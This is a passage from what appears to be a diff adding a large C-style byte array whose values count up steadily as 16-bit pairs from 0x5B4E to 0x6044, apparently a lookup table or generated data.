0x5B, 0x4E, 0x5B, 0x4F, 0x5B, 0x50, 0x5B, + 0x51, 0x5B, 0x52, 0x5B, 0x53, 0x5B, 0x54, 0x5B, + 0x55, 0x5B, 0x56, 0x5B, 0x57, 0x5B, 0x58, 0x5B, + 0x59, 0x5B, 0x5A, 0x5B, 0x5B, 0x5B, 0x5C, 0x5B, + 0x5D, 0x5B, 0x5E, 0x5B, 0x5F, 0x5B, 0x60, 0x5B, + 0x61, 0x5B, 0x62, 0x5B, 0x63, 0x5B, 0x64, 0x5B, + 0x65, 0x5B, 0x66, 0x5B, 0x67, 0x5B, 0x68, 0x5B, + 0x69, 0x5B, 0x6A, 0x5B, 0x6B, 0x5B, 0x6C, 0x5B, + 0x6D, 0x5B, 0x6E, 0x5B, 0x6F, 0x5B, 0x70, 0x5B, + 0x71, 0x5B, 0x72, 0x5B, 0x73, 0x5B, 0x74, 0x5B, + 0x75, 0x5B, 0x76, 0x5B, 0x77, 0x5B, 0x78, 0x5B, + 0x79, 0x5B, 0x7A, 0x5B, 0x7B, 0x5B, 0x7C, 0x5B, + 0x7D, 0x5B, 0x7E, 0x5B, 0x7F, 0x5B, 0x80, 0x5B, + 0x81, 0x5B, 0x82, 0x5B, 0x83, 0x5B, 0x84, 0x5B, + 0x85, 0x5B, 0x86, 0x5B, 0x87, 0x5B, 0x88, 0x5B, + 0x89, 0x5B, 0x8A, 0x5B, 0x8B, 0x5B, 0x8C, 0x5B, + 0x8D, 0x5B, 0x8E, 0x5B, 0x8F, 0x5B, 0x90, 0x5B, + 0x91, 0x5B, 0x92, 0x5B, 0x93, 0x5B, 0x94, 0x5B, + 0x95, 0x5B, 0x96, 0x5B, 0x97, 0x5B, 0x98, 0x5B, + 0x99, 0x5B, 0x9A, 0x5B, 0x9B, 0x5B, 0x9C, 0x5B, + 0x9D, 0x5B, 0x9E, 0x5B, 0x9F, 0x5B, 0xA0, 0x5B, + 0xA1, 0x5B, 0xA2, 0x5B, 0xA3, 0x5B, 0xA4, 0x5B, + 0xA5, 0x5B, 0xA6, 0x5B, 0xA7, 0x5B, 0xA8, 0x5B, + 0xA9, 0x5B, 0xAA, 0x5B, 0xAB, 0x5B, 0xAC, 0x5B, + 0xAD, 0x5B, 0xAE, 0x5B, 0xAF, 0x5B, 0xB0, 0x5B, + 0xB1, 0x5B, 0xB2, 0x5B, 0xB3, 0x5B, 0xB4, 0x5B, + 0xB5, 0x5B, 0xB6, 0x5B, 0xB7, 0x5B, 0xB8, 0x5B, + 0xB9, 0x5B, 0xBA, 0x5B, 0xBB, 0x5B, 0xBC, 0x5B, + 0xBD, 0x5B, 0xBE, 0x5B, 0xBF, 0x5B, 0xC0, 0x5B, + 0xC1, 0x5B, 0xC2, 0x5B, 0xC3, 0x5B, 0xC4, 0x5B, + 0xC5, 0x5B, 0xC6, 0x5B, 0xC7, 0x5B, 0xC8, 0x5B, + 0xC9, 0x5B, 0xCA, 0x5B, 0xCB, 0x5B, 0xCC, 0x5B, + 0xCD, 0x5B, 0xCE, 0x5B, 0xCF, 0x5B, 0xD0, 0x5B, + 0xD1, 0x5B, 0xD2, 0x5B, 0xD3, 0x5B, 0xD4, 0x5B, + 0xD5, 0x5B, 0xD6, 0x5B, 0xD7, 0x5B, 0xD8, 0x5B, + 0xD9, 0x5B, 0xDA, 0x5B, 0xDB, 0x5B, 0xDC, 0x5B, + 0xDD, 0x5B, 0xDE, 0x5B, 0xDF, 0x5B, 0xE0, 0x5B, + 0xE1, 0x5B, 0xE2, 0x5B, 0xE3, 0x5B, 0xE4, 0x5B, + 0xE5, 0x5B, 0xE6, 0x5B, 0xE7, 0x5B, 0xE8, 0x5B, + 0xE9, 0x5B, 0xEA, 0x5B, 0xEB, 0x5B, 0xEC, 0x5B, + 0xED, 0x5B, 0xEE, 0x5B, 0xEF, 0x5B, 0xF0, 0x5B, + 0xF1, 0x5B, 0xF2, 0x5B, 0xF3, 0x5B, 0xF4, 0x5B, + 0xF5, 0x5B, 0xF6, 0x5B, 0xF7, 0x5B, 0xF8, 0x5B, + 0xF9, 0x5B, 0xFA, 0x5B, 0xFB, 0x5B, 0xFC, 0x5B, + 0xFD, 0x5B, 0xFE, 0x5B, 0xFF, 0x5C, 0x00, 0x5C, + 0x01, 0x5C, 0x02, 0x5C, 0x03, 0x5C, 0x04, 0x5C, + 0x05, 0x5C, 0x06, 0x5C, 0x07, 0x5C, 0x08, 0x5C, + 0x09, 0x5C, 0x0A, 0x5C, 0x0B, 0x5C, 0x0C, 0x5C, + 0x0D, 0x5C, 0x0E, 0x5C, 0x0F, 0x5C, 0x10, 0x5C, + 0x11, 0x5C, 0x12, 0x5C, 0x13, 0x5C, 0x14, 0x5C, + 0x15, 0x5C, 0x16, 0x5C, 0x17, 0x5C, 0x18, 0x5C, + 0x19, 0x5C, 0x1A, 0x5C, 0x1B, 0x5C, 0x1C, 0x5C, + 0x1D, 0x5C, 0x1E, 0x5C, 0x1F, 0x5C, 0x20, 0x5C, + 0x21, 0x5C, 0x22, 0x5C, 0x23, 0x5C, 0x24, 0x5C, + 0x25, 0x5C, 0x26, 0x5C, 0x27, 0x5C, 0x28, 0x5C, + 0x29, 0x5C, 0x2A, 0x5C, 0x2B, 0x5C, 0x2C, 0x5C, + 0x2D, 0x5C, 0x2E, 0x5C, 0x2F, 0x5C, 0x30, 0x5C, + 0x31, 0x5C, 0x32, 0x5C, 0x33, 0x5C, 0x34, 0x5C, + 0x35, 0x5C, 0x36, 0x5C, 0x37, 0x5C, 0x38, 0x5C, + 0x39, 0x5C, 0x3A, 0x5C, 0x3B, 0x5C, 0x3C, 0x5C, + 0x3D, 0x5C, 0x3E, 0x5C, 0x3F, 0x5C, 0x40, 0x5C, + 0x41, 0x5C, 0x42, 0x5C, 0x43, 0x5C, 0x44, 0x5C, + 0x45, 0x5C, 0x46, 0x5C, 0x47, 0x5C, 0x48, 0x5C, + 0x49, 0x5C, 0x4A, 0x5C, 0x4B, 0x5C, 0x4C, 0x5C, + 0x4D, 0x5C, 0x4E, 0x5C, 0x4F, 0x5C, 0x50, 0x5C, + 0x51, 0x5C, 0x52, 0x5C, 0x53, 0x5C, 0x54, 0x5C, + 0x55, 0x5C, 0x56, 0x5C, 0x57, 0x5C, 0x58, 0x5C, + 0x59, 0x5C, 0x5A, 0x5C, 0x5B, 0x5C, 0x5C, 0x5C, + 0x5D, 0x5C, 0x5E, 0x5C, 0x5F, 0x5C, 0x60, 0x5C, + 0x61, 0x5C, 0x62, 0x5C, 0x63, 0x5C, 0x64, 0x5C, + 0x65, 0x5C, 0x66, 0x5C, 0x67, 0x5C, 0x68, 0x5C, + 0x69, 0x5C, 0x6A, 0x5C, 0x6B, 0x5C, 0x6C, 0x5C, + 0x6D, 0x5C, 0x6E, 0x5C, 0x6F, 0x5C, 0x70, 0x5C, + 0x71, 0x5C, 0x72, 0x5C, 0x73, 0x5C, 0x74, 0x5C, + 0x75, 0x5C, 0x76, 0x5C, 0x77, 0x5C, 0x78, 0x5C, + 0x79, 0x5C, 0x7A, 0x5C, 0x7B, 0x5C, 0x7C, 0x5C, + 0x7D, 0x5C, 0x7E, 0x5C, 0x7F, 0x5C, 0x80, 0x5C, + 0x81, 0x5C, 0x82, 0x5C, 0x83, 0x5C, 0x84, 0x5C, + 0x85, 0x5C, 0x86, 0x5C, 0x87, 0x5C, 0x88, 0x5C, + 0x89, 0x5C, 0x8A, 0x5C, 0x8B, 0x5C, 0x8C, 0x5C, + 0x8D, 0x5C, 0x8E, 0x5C, 0x8F, 0x5C, 0x90, 0x5C, + 0x91, 0x5C, 0x92, 0x5C, 0x93, 0x5C, 0x94, 0x5C, + 0x95, 0x5C, 0x96, 0x5C, 0x97, 0x5C, 0x98, 0x5C, + 0x99, 0x5C, 0x9A, 0x5C, 0x9B, 0x5C, 0x9C, 0x5C, + 0x9D, 0x5C, 0x9E, 0x5C, 0x9F, 0x5C, 0xA0, 0x5C, + 0xA1, 0x5C, 0xA2, 0x5C, 0xA3, 0x5C, 0xA4, 0x5C, + 0xA5, 0x5C, 0xA6, 0x5C, 0xA7, 0x5C, 0xA8, 0x5C, + 0xA9, 0x5C, 0xAA, 0x5C, 0xAB, 0x5C, 0xAC, 0x5C, + 0xAD, 0x5C, 0xAE, 0x5C, 0xAF, 0x5C, 0xB0, 0x5C, + 0xB1, 0x5C, 0xB2, 0x5C, 0xB3, 0x5C, 0xB4, 0x5C, + 0xB5, 0x5C, 0xB6, 0x5C, 0xB7, 0x5C, 0xB8, 0x5C, + 0xB9, 0x5C, 0xBA, 0x5C, 0xBB, 0x5C, 0xBC, 0x5C, + 0xBD, 0x5C, 0xBE, 0x5C, 0xBF, 0x5C, 0xC0, 0x5C, + 0xC1, 0x5C, 0xC2, 0x5C, 0xC3, 0x5C, 0xC4, 0x5C, + 0xC5, 0x5C, 0xC6, 0x5C, 0xC7, 0x5C, 0xC8, 0x5C, + 0xC9, 0x5C, 0xCA, 0x5C, 0xCB, 0x5C, 0xCC, 0x5C, + 0xCD, 0x5C, 0xCE, 0x5C, 0xCF, 0x5C, 0xD0, 0x5C, + 0xD1, 0x5C, 0xD2, 0x5C, 0xD3, 0x5C, 0xD4, 0x5C, + 0xD5, 0x5C, 0xD6, 0x5C, 0xD7, 0x5C, 0xD8, 0x5C, + 0xD9, 0x5C, 0xDA, 0x5C, 0xDB, 0x5C, 0xDC, 0x5C, + 0xDD, 0x5C, 0xDE, 0x5C, 0xDF, 0x5C, 0xE0, 0x5C, + 0xE1, 0x5C, 0xE2, 0x5C, 0xE3, 0x5C, 0xE4, 0x5C, + 0xE5, 0x5C, 0xE6, 0x5C, 0xE7, 0x5C, 0xE8, 0x5C, + 0xE9, 0x5C, 0xEA, 0x5C, 0xEB, 0x5C, 0xEC, 0x5C, + 0xED, 0x5C, 0xEE, 0x5C, 0xEF, 0x5C, 0xF0, 0x5C, + 0xF1, 0x5C, 0xF2, 0x5C, 0xF3, 0x5C, 0xF4, 0x5C, + 0xF5, 0x5C, 0xF6, 0x5C, 0xF7, 0x5C, 0xF8, 0x5C, + 0xF9, 0x5C, 0xFA, 0x5C, 0xFB, 0x5C, 0xFC, 0x5C, + 0xFD, 0x5C, 0xFE, 0x5C, 0xFF, 0x5D, 0x00, 0x5D, + 0x01, 0x5D, 0x02, 0x5D, 0x03, 0x5D, 0x04, 0x5D, + 0x05, 0x5D, 0x06, 0x5D, 0x07, 0x5D, 0x08, 0x5D, + 0x09, 0x5D, 0x0A, 0x5D, 0x0B, 0x5D, 0x0C, 0x5D, + 0x0D, 0x5D, 0x0E, 0x5D, 0x0F, 0x5D, 0x10, 0x5D, + 0x11, 0x5D, 0x12, 0x5D, 0x13, 0x5D, 0x14, 0x5D, + 0x15, 0x5D, 0x16, 0x5D, 0x17, 0x5D, 0x18, 0x5D, + 0x19, 0x5D, 0x1A, 0x5D, 0x1B, 0x5D, 0x1C, 0x5D, + 0x1D, 0x5D, 0x1E, 0x5D, 0x1F, 0x5D, 0x20, 0x5D, + 0x21, 0x5D, 0x22, 0x5D, 0x23, 0x5D, 0x24, 0x5D, + 0x25, 0x5D, 0x26, 0x5D, 0x27, 0x5D, 0x28, 0x5D, + 0x29, 0x5D, 0x2A, 0x5D, 0x2B, 0x5D, 0x2C, 0x5D, + 0x2D, 0x5D, 0x2E, 0x5D, 0x2F, 0x5D, 0x30, 0x5D, + 0x31, 0x5D, 0x32, 0x5D, 0x33, 0x5D, 0x34, 0x5D, + 0x35, 0x5D, 0x36, 0x5D, 0x37, 0x5D, 0x38, 0x5D, + 0x39, 0x5D, 0x3A, 0x5D, 0x3B, 0x5D, 0x3C, 0x5D, + 0x3D, 0x5D, 0x3E, 0x5D, 0x3F, 0x5D, 0x40, 0x5D, + 0x41, 0x5D, 0x42, 0x5D, 0x43, 0x5D, 0x44, 0x5D, + 0x45, 0x5D, 0x46, 0x5D, 0x47, 0x5D, 0x48, 0x5D, + 0x49, 0x5D, 0x4A, 0x5D, 0x4B, 0x5D, 0x4C, 0x5D, + 0x4D, 0x5D, 0x4E, 0x5D, 0x4F, 0x5D, 0x50, 0x5D, + 0x51, 0x5D, 0x52, 0x5D, 0x53, 0x5D, 0x54, 0x5D, + 0x55, 0x5D, 0x56, 0x5D, 0x57, 0x5D, 0x58, 0x5D, + 0x59, 0x5D, 0x5A, 0x5D, 0x5B, 0x5D, 0x5C, 0x5D, + 0x5D, 0x5D, 0x5E, 0x5D, 0x5F, 0x5D, 0x60, 0x5D, + 0x61, 0x5D, 0x62, 0x5D, 0x63, 0x5D, 0x64, 0x5D, + 0x65, 0x5D, 0x66, 0x5D, 0x67, 0x5D, 0x68, 0x5D, + 0x69, 0x5D, 0x6A, 0x5D, 0x6B, 0x5D, 0x6C, 0x5D, + 0x6D, 0x5D, 0x6E, 0x5D, 0x6F, 0x5D, 0x70, 0x5D, + 0x71, 0x5D, 0x72, 0x5D, 0x73, 0x5D, 0x74, 0x5D, + 0x75, 0x5D, 0x76, 0x5D, 0x77, 0x5D, 0x78, 0x5D, + 0x79, 0x5D, 0x7A, 0x5D, 0x7B, 0x5D, 0x7C, 0x5D, + 0x7D, 0x5D, 0x7E, 0x5D, 0x7F, 0x5D, 0x80, 0x5D, + 0x81, 0x5D, 0x82, 0x5D, 0x83, 0x5D, 0x84, 0x5D, + 0x85, 0x5D, 0x86, 0x5D, 0x87, 0x5D, 0x88, 0x5D, + 0x89, 0x5D, 0x8A, 0x5D, 0x8B, 0x5D, 0x8C, 0x5D, + 0x8D, 0x5D, 0x8E, 0x5D, 0x8F, 0x5D, 0x90, 0x5D, + 0x91, 0x5D, 0x92, 0x5D, 0x93, 0x5D, 0x94, 0x5D, + 0x95, 0x5D, 0x96, 0x5D, 0x97, 0x5D, 0x98, 0x5D, + 0x99, 0x5D, 0x9A, 0x5D, 0x9B, 0x5D, 0x9C, 0x5D, + 0x9D, 0x5D, 0x9E, 0x5D, 0x9F, 0x5D, 0xA0, 0x5D, + 0xA1, 0x5D, 0xA2, 0x5D, 0xA3, 0x5D, 0xA4, 0x5D, + 0xA5, 0x5D, 0xA6, 0x5D, 0xA7, 0x5D, 0xA8, 0x5D, + 0xA9, 0x5D, 0xAA, 0x5D, 0xAB, 0x5D, 0xAC, 0x5D, + 0xAD, 0x5D, 0xAE, 0x5D, 0xAF, 0x5D, 0xB0, 0x5D, + 0xB1, 0x5D, 0xB2, 0x5D, 0xB3, 0x5D, 0xB4, 0x5D, + 0xB5, 0x5D, 0xB6, 0x5D, 0xB7, 0x5D, 0xB8, 0x5D, + 0xB9, 0x5D, 0xBA, 0x5D, 0xBB, 0x5D, 0xBC, 0x5D, + 0xBD, 0x5D, 0xBE, 0x5D, 0xBF, 0x5D, 0xC0, 0x5D, + 0xC1, 0x5D, 0xC2, 0x5D, 0xC3, 0x5D, 0xC4, 0x5D, + 0xC5, 0x5D, 0xC6, 0x5D, 0xC7, 0x5D, 0xC8, 0x5D, + 0xC9, 0x5D, 0xCA, 0x5D, 0xCB, 0x5D, 0xCC, 0x5D, + 0xCD, 0x5D, 0xCE, 0x5D, 0xCF, 0x5D, 0xD0, 0x5D, + 0xD1, 0x5D, 0xD2, 0x5D, 0xD3, 0x5D, 0xD4, 0x5D, + 0xD5, 0x5D, 0xD6, 0x5D, 0xD7, 0x5D, 0xD8, 0x5D, + 0xD9, 0x5D, 0xDA, 0x5D, 0xDB, 0x5D, 0xDC, 0x5D, + 0xDD, 0x5D, 0xDE, 0x5D, 0xDF, 0x5D, 0xE0, 0x5D, + 0xE1, 0x5D, 0xE2, 0x5D, 0xE3, 0x5D, 0xE4, 0x5D, + 0xE5, 0x5D, 0xE6, 0x5D, 0xE7, 0x5D, 0xE8, 0x5D, + 0xE9, 0x5D, 0xEA, 0x5D, 0xEB, 0x5D, 0xEC, 0x5D, + 0xED, 0x5D, 0xEE, 0x5D, 0xEF, 0x5D, 0xF0, 0x5D, + 0xF1, 0x5D, 0xF2, 0x5D, 0xF3, 0x5D, 0xF4, 0x5D, + 0xF5, 0x5D, 0xF6, 0x5D, 0xF7, 0x5D, 0xF8, 0x5D, + 0xF9, 0x5D, 0xFA, 0x5D, 0xFB, 0x5D, 0xFC, 0x5D, + 0xFD, 0x5D, 0xFE, 0x5D, 0xFF, 0x5E, 0x00, 0x5E, + 0x01, 0x5E, 0x02, 0x5E, 0x03, 0x5E, 0x04, 0x5E, + 0x05, 0x5E, 0x06, 0x5E, 0x07, 0x5E, 0x08, 0x5E, + 0x09, 0x5E, 0x0A, 0x5E, 0x0B, 0x5E, 0x0C, 0x5E, + 0x0D, 0x5E, 0x0E, 0x5E, 0x0F, 0x5E, 0x10, 0x5E, + 0x11, 0x5E, 0x12, 0x5E, 0x13, 0x5E, 0x14, 0x5E, + 0x15, 0x5E, 0x16, 0x5E, 0x17, 0x5E, 0x18, 0x5E, + 0x19, 0x5E, 0x1A, 0x5E, 0x1B, 0x5E, 0x1C, 0x5E, + 0x1D, 0x5E, 0x1E, 0x5E, 0x1F, 0x5E, 0x20, 0x5E, + 0x21, 0x5E, 0x22, 0x5E, 0x23, 0x5E, 0x24, 0x5E, + 0x25, 0x5E, 0x26, 0x5E, 0x27, 0x5E, 0x28, 0x5E, + 0x29, 0x5E, 0x2A, 0x5E, 0x2B, 0x5E, 0x2C, 0x5E, + 0x2D, 0x5E, 0x2E, 0x5E, 0x2F, 0x5E, 0x30, 0x5E, + 0x31, 0x5E, 0x32, 0x5E, 0x33, 0x5E, 0x34, 0x5E, + 0x35, 0x5E, 0x36, 0x5E, 0x37, 0x5E, 0x38, 0x5E, + 0x39, 0x5E, 0x3A, 0x5E, 0x3B, 0x5E, 0x3C, 0x5E, + 0x3D, 0x5E, 0x3E, 0x5E, 0x3F, 0x5E, 0x40, 0x5E, + 0x41, 0x5E, 0x42, 0x5E, 0x43, 0x5E, 0x44, 0x5E, + 0x45, 0x5E, 0x46, 0x5E, 0x47, 0x5E, 0x48, 0x5E, + 0x49, 0x5E, 0x4A, 0x5E, 0x4B, 0x5E, 0x4C, 0x5E, + 0x4D, 0x5E, 0x4E, 0x5E, 0x4F, 0x5E, 0x50, 0x5E, + 0x51, 0x5E, 0x52, 0x5E, 0x53, 0x5E, 0x54, 0x5E, + 0x55, 0x5E, 0x56, 0x5E, 0x57, 0x5E, 0x58, 0x5E, + 0x59, 0x5E, 0x5A, 0x5E, 0x5B, 0x5E, 0x5C, 0x5E, + 0x5D, 0x5E, 0x5E, 0x5E, 0x5F, 0x5E, 0x60, 0x5E, + 0x61, 0x5E, 0x62, 0x5E, 0x63, 0x5E, 0x64, 0x5E, + 0x65, 0x5E, 0x66, 0x5E, 0x67, 0x5E, 0x68, 0x5E, + 0x69, 0x5E, 0x6A, 0x5E, 0x6B, 0x5E, 0x6C, 0x5E, + 0x6D, 0x5E, 0x6E, 0x5E, 0x6F, 0x5E, 0x70, 0x5E, + 0x71, 0x5E, 0x72, 0x5E, 0x73, 0x5E, 0x74, 0x5E, + 0x75, 0x5E, 0x76, 0x5E, 0x77, 0x5E, 0x78, 0x5E, + 0x79, 0x5E, 0x7A, 0x5E, 0x7B, 0x5E, 0x7C, 0x5E, + 0x7D, 0x5E, 0x7E, 0x5E, 0x7F, 0x5E, 0x80, 0x5E, + 0x81, 0x5E, 0x82, 0x5E, 0x83, 0x5E, 0x84, 0x5E, + 0x85, 0x5E, 0x86, 0x5E, 0x87, 0x5E, 0x88, 0x5E, + 0x89, 0x5E, 0x8A, 0x5E, 0x8B, 0x5E, 0x8C, 0x5E, + 0x8D, 0x5E, 0x8E, 0x5E, 0x8F, 0x5E, 0x90, 0x5E, + 0x91, 0x5E, 0x92, 0x5E, 0x93, 0x5E, 0x94, 0x5E, + 0x95, 0x5E, 0x96, 0x5E, 0x97, 0x5E, 0x98, 0x5E, + 0x99, 0x5E, 0x9A, 0x5E, 0x9B, 0x5E, 0x9C, 0x5E, + 0x9D, 0x5E, 0x9E, 0x5E, 0x9F, 0x5E, 0xA0, 0x5E, + 0xA1, 0x5E, 0xA2, 0x5E, 0xA3, 0x5E, 0xA4, 0x5E, + 0xA5, 0x5E, 0xA6, 0x5E, 0xA7, 0x5E, 0xA8, 0x5E, + 0xA9, 0x5E, 0xAA, 0x5E, 0xAB, 0x5E, 0xAC, 0x5E, + 0xAD, 0x5E, 0xAE, 0x5E, 0xAF, 0x5E, 0xB0, 0x5E, + 0xB1, 0x5E, 0xB2, 0x5E, 0xB3, 0x5E, 0xB4, 0x5E, + 0xB5, 0x5E, 0xB6, 0x5E, 0xB7, 0x5E, 0xB8, 0x5E, + 0xB9, 0x5E, 0xBA, 0x5E, 0xBB, 0x5E, 0xBC, 0x5E, + 0xBD, 0x5E, 0xBE, 0x5E, 0xBF, 0x5E, 0xC0, 0x5E, + 0xC1, 0x5E, 0xC2, 0x5E, 0xC3, 0x5E, 0xC4, 0x5E, + 0xC5, 0x5E, 0xC6, 0x5E, 0xC7, 0x5E, 0xC8, 0x5E, + 0xC9, 0x5E, 0xCA, 0x5E, 0xCB, 0x5E, 0xCC, 0x5E, + 0xCD, 0x5E, 0xCE, 0x5E, 0xCF, 0x5E, 0xD0, 0x5E, + 0xD1, 0x5E, 0xD2, 0x5E, 0xD3, 0x5E, 0xD4, 0x5E, + 0xD5, 0x5E, 0xD6, 0x5E, 0xD7, 0x5E, 0xD8, 0x5E, + 0xD9, 0x5E, 0xDA, 0x5E, 0xDB, 0x5E, 0xDC, 0x5E, + 0xDD, 0x5E, 0xDE, 0x5E, 0xDF, 0x5E, 0xE0, 0x5E, + 0xE1, 0x5E, 0xE2, 0x5E, 0xE3, 0x5E, 0xE4, 0x5E, + 0xE5, 0x5E, 0xE6, 0x5E, 0xE7, 0x5E, 0xE8, 0x5E, + 0xE9, 0x5E, 0xEA, 0x5E, 0xEB, 0x5E, 0xEC, 0x5E, + 0xED, 0x5E, 0xEE, 0x5E, 0xEF, 0x5E, 0xF0, 0x5E, + 0xF1, 0x5E, 0xF2, 0x5E, 0xF3, 0x5E, 0xF4, 0x5E, + 0xF5, 0x5E, 0xF6, 0x5E, 0xF7, 0x5E, 0xF8, 0x5E, + 0xF9, 0x5E, 0xFA, 0x5E, 0xFB, 0x5E, 0xFC, 0x5E, + 0xFD, 0x5E, 0xFE, 0x5E, 0xFF, 0x5F, 0x00, 0x5F, + 0x01, 0x5F, 0x02, 0x5F, 0x03, 0x5F, 0x04, 0x5F, + 0x05, 0x5F, 0x06, 0x5F, 0x07, 0x5F, 0x08, 0x5F, + 0x09, 0x5F, 0x0A, 0x5F, 0x0B, 0x5F, 0x0C, 0x5F, + 0x0D, 0x5F, 0x0E, 0x5F, 0x0F, 0x5F, 0x10, 0x5F, + 0x11, 0x5F, 0x12, 0x5F, 0x13, 0x5F, 0x14, 0x5F, + 0x15, 0x5F, 0x16, 0x5F, 0x17, 0x5F, 0x18, 0x5F, + 0x19, 0x5F, 0x1A, 0x5F, 0x1B, 0x5F, 0x1C, 0x5F, + 0x1D, 0x5F, 0x1E, 0x5F, 0x1F, 0x5F, 0x20, 0x5F, + 0x21, 0x5F, 0x22, 0x5F, 0x23, 0x5F, 0x24, 0x5F, + 0x25, 0x5F, 0x26, 0x5F, 0x27, 0x5F, 0x28, 0x5F, + 0x29, 0x5F, 0x2A, 0x5F, 0x2B, 0x5F, 0x2C, 0x5F, + 0x2D, 0x5F, 0x2E, 0x5F, 0x2F, 0x5F, 0x30, 0x5F, + 0x31, 0x5F, 0x32, 0x5F, 0x33, 0x5F, 0x34, 0x5F, + 0x35, 0x5F, 0x36, 0x5F, 0x37, 0x5F, 0x38, 0x5F, + 0x39, 0x5F, 0x3A, 0x5F, 0x3B, 0x5F, 0x3C, 0x5F, + 0x3D, 0x5F, 0x3E, 0x5F, 0x3F, 0x5F, 0x40, 0x5F, + 0x41, 0x5F, 0x42, 0x5F, 0x43, 0x5F, 0x44, 0x5F, + 0x45, 0x5F, 0x46, 0x5F, 0x47, 0x5F, 0x48, 0x5F, + 0x49, 0x5F, 0x4A, 0x5F, 0x4B, 0x5F, 0x4C, 0x5F, + 0x4D, 0x5F, 0x4E, 0x5F, 0x4F, 0x5F, 0x50, 0x5F, + 0x51, 0x5F, 0x52, 0x5F, 0x53, 0x5F, 0x54, 0x5F, + 0x55, 0x5F, 0x56, 0x5F, 0x57, 0x5F, 0x58, 0x5F, + 0x59, 0x5F, 0x5A, 0x5F, 0x5B, 0x5F, 0x5C, 0x5F, + 0x5D, 0x5F, 0x5E, 0x5F, 0x5F, 0x5F, 0x60, 0x5F, + 0x61, 0x5F, 0x62, 0x5F, 0x63, 0x5F, 0x64, 0x5F, + 0x65, 0x5F, 0x66, 0x5F, 0x67, 0x5F, 0x68, 0x5F, + 0x69, 0x5F, 0x6A, 0x5F, 0x6B, 0x5F, 0x6C, 0x5F, + 0x6D, 0x5F, 0x6E, 0x5F, 0x6F, 0x5F, 0x70, 0x5F, + 0x71, 0x5F, 0x72, 0x5F, 0x73, 0x5F, 0x74, 0x5F, + 0x75, 0x5F, 0x76, 0x5F, 0x77, 0x5F, 0x78, 0x5F, + 0x79, 0x5F, 0x7A, 0x5F, 0x7B, 0x5F, 0x7C, 0x5F, + 0x7D, 0x5F, 0x7E, 0x5F, 0x7F, 0x5F, 0x80, 0x5F, + 0x81, 0x5F, 0x82, 0x5F, 0x83, 0x5F, 0x84, 0x5F, + 0x85, 0x5F, 0x86, 0x5F, 0x87, 0x5F, 0x88, 0x5F, + 0x89, 0x5F, 0x8A, 0x5F, 0x8B, 0x5F, 0x8C, 0x5F, + 0x8D, 0x5F, 0x8E, 0x5F, 0x8F, 0x5F, 0x90, 0x5F, + 0x91, 0x5F, 0x92, 0x5F, 0x93, 0x5F, 0x94, 0x5F, + 0x95, 0x5F, 0x96, 0x5F, 0x97, 0x5F, 0x98, 0x5F, + 0x99, 0x5F, 0x9A, 0x5F, 0x9B, 0x5F, 0x9C, 0x5F, + 0x9D, 0x5F, 0x9E, 0x5F, 0x9F, 0x5F, 0xA0, 0x5F, + 0xA1, 0x5F, 0xA2, 0x5F, 0xA3, 0x5F, 0xA4, 0x5F, + 0xA5, 0x5F, 0xA6, 0x5F, 0xA7, 0x5F, 0xA8, 0x5F, + 0xA9, 0x5F, 0xAA, 0x5F, 0xAB, 0x5F, 0xAC, 0x5F, + 0xAD, 0x5F, 0xAE, 0x5F, 0xAF, 0x5F, 0xB0, 0x5F, + 0xB1, 0x5F, 0xB2, 0x5F, 0xB3, 0x5F, 0xB4, 0x5F, + 0xB5, 0x5F, 0xB6, 0x5F, 0xB7, 0x5F, 0xB8, 0x5F, + 0xB9, 0x5F, 0xBA, 0x5F, 0xBB, 0x5F, 0xBC, 0x5F, + 0xBD, 0x5F, 0xBE, 0x5F, 0xBF, 0x5F, 0xC0, 0x5F, + 0xC1, 0x5F, 0xC2, 0x5F, 0xC3, 0x5F, 0xC4, 0x5F, + 0xC5, 0x5F, 0xC6, 0x5F, 0xC7, 0x5F, 0xC8, 0x5F, + 0xC9, 0x5F, 0xCA, 0x5F, 0xCB, 0x5F, 0xCC, 0x5F, + 0xCD, 0x5F, 0xCE, 0x5F, 0xCF, 0x5F, 0xD0, 0x5F, + 0xD1, 0x5F, 0xD2, 0x5F, 0xD3, 0x5F, 0xD4, 0x5F, + 0xD5, 0x5F, 0xD6, 0x5F, 0xD7, 0x5F, 0xD8, 0x5F, + 0xD9, 0x5F, 0xDA, 0x5F, 0xDB, 0x5F, 0xDC, 0x5F, + 0xDD, 0x5F, 0xDE, 0x5F, 0xDF, 0x5F, 0xE0, 0x5F, + 0xE1, 0x5F, 0xE2, 0x5F, 0xE3, 0x5F, 0xE4, 0x5F, + 0xE5, 0x5F, 0xE6, 0x5F, 0xE7, 0x5F, 0xE8, 0x5F, + 0xE9, 0x5F, 0xEA, 0x5F, 0xEB, 0x5F, 0xEC, 0x5F, + 0xED, 0x5F, 0xEE, 0x5F, 0xEF, 0x5F, 0xF0, 0x5F, + 0xF1, 0x5F, 0xF2, 0x5F, 0xF3, 0x5F, 0xF4, 0x5F, + 0xF5, 0x5F, 0xF6, 0x5F, 0xF7, 0x5F, 0xF8, 0x5F, + 0xF9, 0x5F, 0xFA, 0x5F, 0xFB, 0x5F, 0xFC, 0x5F, + 0xFD, 0x5F, 0xFE, 0x5F, 0xFF, 0x60, 0x00, 0x60, + 0x01, 0x60, 0x02, 0x60, 0x03, 0x60, 0x04, 0x60, + 0x05, 0x60, 0x06, 0x60, 0x07, 0x60, 0x08, 0x60, + 0x09, 0x60, 0x0A, 0x60, 0x0B, 0x60, 0x0C, 0x60, + 0x0D, 0x60, 0x0E, 0x60, 0x0F, 0x60, 0x10, 0x60, + 0x11, 0x60, 0x12, 0x60, 0x13, 0x60, 0x14, 0x60, + 0x15, 0x60, 0x16, 0x60, 0x17, 0x60, 0x18, 0x60, + 0x19, 0x60, 0x1A, 0x60, 0x1B, 0x60, 0x1C, 0x60, + 0x1D, 0x60, 0x1E, 0x60, 0x1F, 0x60, 0x20, 0x60, + 0x21, 0x60, 0x22, 0x60, 0x23, 0x60, 0x24, 0x60, + 0x25, 0x60, 0x26, 0x60, 0x27, 0x60, 0x28, 0x60, + 0x29, 0x60, 0x2A, 0x60, 0x2B, 0x60, 0x2C, 0x60, + 0x2D, 0x60, 0x2E, 0x60, 0x2F, 0x60, 0x30, 0x60, + 0x31, 0x60, 0x32, 0x60, 0x33, 0x60, 0x34, 0x60, + 0x35, 0x60, 0x36, 0x60, 0x37, 0x60, 0x38, 0x60, + 0x39, 0x60, 0x3A, 0x60, 0x3B, 0x60, 0x3C, 0x60, + 0x3D, 0x60, 0x3E, 0x60, 0x3F, 0x60, 0x40, 0x60, + 0x41, 0x60, 0x42, 0x60, 0x43, 0x60, 0x44, 